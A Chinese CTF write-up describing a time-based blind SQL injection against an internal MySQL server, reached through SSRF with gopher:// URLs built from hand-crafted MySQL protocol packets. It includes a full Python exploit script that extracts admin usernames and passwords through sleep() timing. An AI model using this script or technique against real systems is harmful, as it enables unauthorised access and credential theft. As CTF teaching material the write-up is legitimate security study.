CTFWriteupCTF

[题目]记一次利用gopher的内网mysql盲注

2018-05-01  本文已影响1096人  Pr0ph3t
 sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode                                                     
   0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 62508910 1 0000000000000000 100 0 0 10 0                  
   1: 00000000:0457 00000000:0000 0A 00000000:00000000 00:00000000 00000000 999 0 62513855 1 0000000000000000 100 0 0 10 0                  
   2: 040011AC:0050 09000A0A:ACAA 01 00000000:00000000 00:00000000 00000000 33 0 62524723 1 0000000000000000 20 4 32 10 -1                 

将需要的请求包的原始数据(hex)拿下来之后转换成urlencoded的格式利用gopher协议访问 类似于这样:


c229b719-80e1-4a82-9217-ab264e40be9b.png

返回到了我们期望的0

import requests
import time
import os

url = 'http://70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com/index.php?page=send.php'
headers = {
'Host': '70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:48.0) Gecko/20100101 Firefox/48.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com/index.php?page=send.php',
'Cookie': 'Hm_lvt_1a32f7c660491887db0960e9c314b022=1503915500; Hm_lvt_9104989ce242a8e03049eaceca950328=1499841280,1499841321,1500792273; pgv_pvi=2458169344; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1509698028,1511583430,1511759905; UM_distinctid=1621015174e3f-07d3d76d358413-485860-384000-1621015174f3eb; PHPSESSID=p2aqa6ls1v5pvrlvt40599ino4',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
}
remote = 1
se = requests.Session()
raw_conn = 'a400000105a6ff0100000001210000000000000000000000000000000000000000000000446f6700006d7973716c5f6e61746976655f70617373776f72640068035f6f73086f737831302e31330c5f636c69656e745f6e616d65086c69626d7973716c045f70696404353133300f5f636c69656e745f76657273696f6e06352e372e3231095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c'
# raw_select_db = '120000000353454c45435420444154414241534528290b00000002757365725f61646d696e'
raw_blind_query = '%s0000000373656c65637420696628617363696928737562737472282873656c6563742067726f75705f636f6e63617428757365726e616d652c70617373776f7264292066726f6d20757365725f61646d696e2e61646d696e292c%s2c3129293d%s2c736c6565702835292c3029'
raw_end_conn = '0100000001'
content = 'adminfla'

for x in xrange(8,100):
 for y in xrange(33,126):
  packet_length = 107
  if x >= 10 :
   packet_length += 1
  if x >= 100:
   packet_length += 1
  if y >= 100 :
   packet_length += 1
  b = []
  raw_code = (raw_conn + raw_blind_query + raw_end_conn) % (hex(packet_length)[2:], str(x).encode('hex'), str(y).encode('hex'))
  # print raw_code
  # exit()
  l = len(raw_code)
  for z in xrange(l):
   if z % 2 == 0:
    b.append(raw_code[z:z+2])
  urlencoded = '%' + '%'.join(b)
  # payload = 'gopher://127.0.0.1:1111/_' + urlencoded
  if remote == 0:
   payload = 'gopher://127.0.0.1:3306/_' + urlencoded
   s = time.time()
   os.system('curl ' + payload)
   # print payload
   # exit()
   if time.time() - s >= 5:
    print 'found! ' + chr(y)
    break
   else:
    print y
  elif remote == 1:
   payload = 'gopher://127.0.0.1:1111/_' + urlencoded
   with open('index.php','wb') as f:
    f.write('<?php\nheader(\'Location:' + payload + '\');\n')
   try:
    s = time.time()
    res = se.post(url, headers=headers, data={'url':'http://xxx.xxx.xxx.xxx'})
    # print res.status_code
    time.sleep(0.1);
    if time.time() - s >= 5.1 and res.status_code == 200:
     content += chr(y)
     print 'Found!! ' + chr(y)
     print content
     break
    else:
     print y
   except Exception as e:
    pass

poc:


f9945682-7cb0-4d63-be77-11febd8983f7.png

flag在admin表内

参考文章:
http://www.freebuf.com/articles/web/159342.html
https://segmentfault.com/a/1190000012166738

上一篇 下一篇

猜你喜欢

热点阅读